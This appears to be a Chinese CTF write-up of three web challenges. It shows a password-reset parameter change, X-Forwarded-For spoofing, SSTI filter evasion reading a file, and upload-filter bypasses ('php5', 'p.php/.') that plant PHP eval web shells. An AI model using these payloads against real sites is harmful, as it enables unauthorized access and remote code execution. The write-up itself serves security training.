bug、Confusion1、ics-07、

bug

打开题目,发现是个登陆页面,有注册、找回密码选项

随便注册一个,进行登录,登录成功后,点击管理发现没权限

应该要越权,去密码

发现没有用户的参数,没法在这改admin的密码,去开始页面试试

先修改自己密码,进去后使用bp抓包

发现有用户参数,直接修改admin的密码

修改成功,尝试登陆

成功登陆admin用户,直接去看Message

发现IP不正确,那就伪造IP

x-forwarded-for:127.0.0.1

没发现,Flag,查看源码

注释暴露了一个功能模块的访问路径index.php?module=filemanage&do=???

猜测xss,sql,ssrf,upload

不是xss,发现是index.php?module=filemanage&do=upload

那就试试各种绕过方式,可以参考我的这篇文章:upload靶场通关

最后尝试:

改后缀为php5

文件类型为image/jpeg

文件内的一句话木马为

html 复制代码
<script language="php"> @eval$_POST['cmd']); </script>

成功了

获得flag:cyberpeace{a3828e2e57cddd4e5f7fce0ec2fd0359}

Confusion1

题目描述:某天,Bob说:PHP是最好的语言,但是Alice不赞同。所以Alice编写了这个网站证明。在她还没有写完的时候,我发现其存在问题。(请不要使用扫描器)

那就每个页面都访问一便,发现除了Home页面,Login,Register都是会报错的,那就查看报错页面的源代码

发现flag的存放地址:/opt/flag_1de36dff62a3a54ecfbc6e1fd2ef0ad1.txt

还有一个Salt文件:/opt/salt_b420e8cfb8862548e68459ae1d37a1d5.txt

测试是否存在SSTI

html 复制代码
{{6*7}}

使用{{''.class}}查看一下返回结果

应该是有字符被过滤了

尝试subclass

html 复制代码
{{''.__subclass__}}

尝试mro

html 复制代码
{{''.__mro__}}

发现都被过滤了

尝试request

html 复制代码
{{''.__request__}}

request没有被过滤

将class等被过滤的字符串设置成参数,传递给request.args,获取class,使用

html 复制代码
{{""[request.args.a]}}?a=__class__

显示正常,关键字没有被过滤,那么我们现在需要读取件

html 复制代码
/opt/flag_1de36dff62a3a54ecfbc6e1fd2ef0ad1.txt
html 复制代码
{{""[request.args.a][request.args.b][2][request.args.c]()[40]('/opt/flag_1de36dff62a3a54ecfbc6e1fd2ef0ad1.txt')[request.args.d]()}}?&a=__class__&b=__mro__&c=__subclasses__&d=read

获得flag:cyberpeace{2b0d7b3015a23d99599cc3b2c37f8827}

ics-07

打开题目,一个一个尝试,发现只有项目管理页面有反应,点击view-source发现源码,有3段php代码

第一段:

php 复制代码
<?php
// 启动会话,初始化session功能,用于后续可能的会话数据操作
session_start();

// 检查GET请求中是否存在page参数,如果不存在则执行以下逻辑
if (!isset($_GET['page'])) {
    // 显示当前PHP文件的源代码(用于调试或代码展示)
    show_source(__FILE__);
    // 终止脚本执行,防止后续代码运行
    die();
}

// 检查GET请求中存在page参数,并且page参数的值不等于'index.php'
if (isset($_GET['page']) && $_GET['page'] != 'index.php') {
    // 包含并执行flag.php文件(通常该文件包含flag相关内容)
    include('flag.php');
} else {
    // 如果page参数值等于'index.php',则重定向到?page=flag.php地址
    header('Location: ?page=flag.php');
}
?>

第一段是个简单的重定向,get参数page不为index.php即可

第二段:

php 复制代码
<?php
// 检查session中的admin值是否为真,验证是否为管理员身份
if ($_SESSION['admin']) {
    // 获取POST请求中的con参数(预计是要写入文件的内容)
    $con = $_POST['con'];
    // 获取POST请求中的file参数(预计是要创建的文件名)
    $file = $_POST['file'];
    // 拼接文件存储路径,将文件放在backup目录下
    $filename = "backup/".$file;

    // 使用正则表达式匹配危险的文件扩展名(如php、php3、pht、html等),忽略大小写
    // 防止上传/创建PHP等可执行脚本文件,避免代码执行漏洞
    if(preg_match('/.+\.ph(p[3457]?|t|tml)$/i', $filename)){
        // 匹配到危险扩展名则终止脚本并输出错误信息
        die("Bad file extension");
    }else{
        // 切换当前工作目录到uploaded目录
        chdir('uploaded');
        // 以写入模式打开(创建)指定的文件
        $f = fopen($filename, 'w');
        // 将POST获取的内容写入文件
        fwrite($f, $con);
        // 关闭文件句柄,释放资源
        fclose($f);
    }
}
?>

需要得到一个admin的session,之后可以post传入con与file两个参数,这里对文件名进行了过滤,防止后缀名是php等后缀名的文件。上传成功后,会切换到uploaded目录,创建文件,并将con的内容写入,那么实际文件的路径就是:uploaded/backup/xxx.xxx

php 复制代码
<?php

// 检查GET参数id是否存在,同时满足三个条件:
// 1. floatval转换后的id值不全等于字符串'1'(实际是数值比较的坑,floatval返回数值,与字符串'1'用!==比较永远为true)

// 2. id的最后一个字符是'9'
if (isset($_GET['id']) && floatval($_GET['id']) !== '1' && substr($_GET['id'], -1) === '9') {

    // 包含数据库配置文件(通常包含数据库连接信息)
    include 'config.php';

    // 对GET参数id进行MySQL转义,防止简单的SQL注入(但mysql_real_escape_string依赖已连接的数据库,且该函数已废弃)
    $id = mysql_real_escape_string($_GET['id']);

    // 构造SQL查询语句,从cetc007库的user表中查询指定id的用户
    $sql = "select * from cetc007.user where id='$id'";

    // 执行SQL查询
    $result = mysql_query($sql);

    // 将查询结果转换为对象
    $result = mysql_fetch_object($result);
} else {
    // 不满足条件则将$result设为False并终止脚本
    $result = False;
    die();
}

// 如果查询结果为空,输出错误信息并终止脚本
if (!$result) die("<br >something wae wrong ! <br>");

// 如果查询结果存在
if ($result) {
    // 输出查询到的用户id
    echo "id: " . $result->id . "</br>";

    // 输出查询到的用户名
    echo "name:" . $result->user . "</br>";
    // 将session中的admin值设为True,标记为管理员身份
    $_SESSION['admin'] = True;
}
?>

代码首先对GET参数id做了三个前置校验:

1.isset($_GET['id']):确保id参数存在;

2.floatval($_GET['id'])!=='1':存在逻辑坑:floatval()返回的是浮点型数值,而'1'是字符串,使用严格不等于!==比较时,因类型不同,该条件永远为真;

3.substr($_GET['id'],-1)==='9':要求id的开头是1,结尾是9。

写一个payload获取id为1的数据

?page=flag.php&id=1a9

构造Post的payload

php 复制代码
file= p.php/.&con=<?php @eval($_POST['cmd'])?>

查看是否上传成功

上传成功,使用蚁剑连接

那就去找flag

在/var/www/html/flag.php里发现flag:cyberpeace{7353d6594665974a652c64e2ba450dd2}

相关推荐
YUJIANYUE4 小时前
PHP纹路验证码
开发语言·php
MZ_ZXD0016 小时前
springboot旅游信息管理系统-计算机毕业设计源码21675
java·c++·vue.js·spring boot·python·django·php
JMchen1237 小时前
Android后台服务与网络保活:WorkManager的实战应用
android·java·网络·kotlin·php·android-studio
大方子8 小时前
【PolarCTF】rce1
网络安全·polarctf
枷锁—sha10 小时前
Burp Suite 抓包全流程与 Xray 联动自动挖洞指南
网络·安全·网络安全
AZ996ZA10 小时前
自学linux的第二十一天【DHCP 服务从入门到实战】
linux·运维·服务器·php
聚铭网络10 小时前
聚铭网络再度入选2026年度扬州市网络和数据安全服务资源池单位
网络安全
darkb1rd12 小时前
八、PHP SAPI与运行环境差异
开发语言·网络安全·php·webshell
darkb1rd13 小时前
七、PHP配置(php.ini)安全最佳实践
安全·php·webshell
JSON_L13 小时前
Fastadmin中使用GatewayClient
php·fastadmin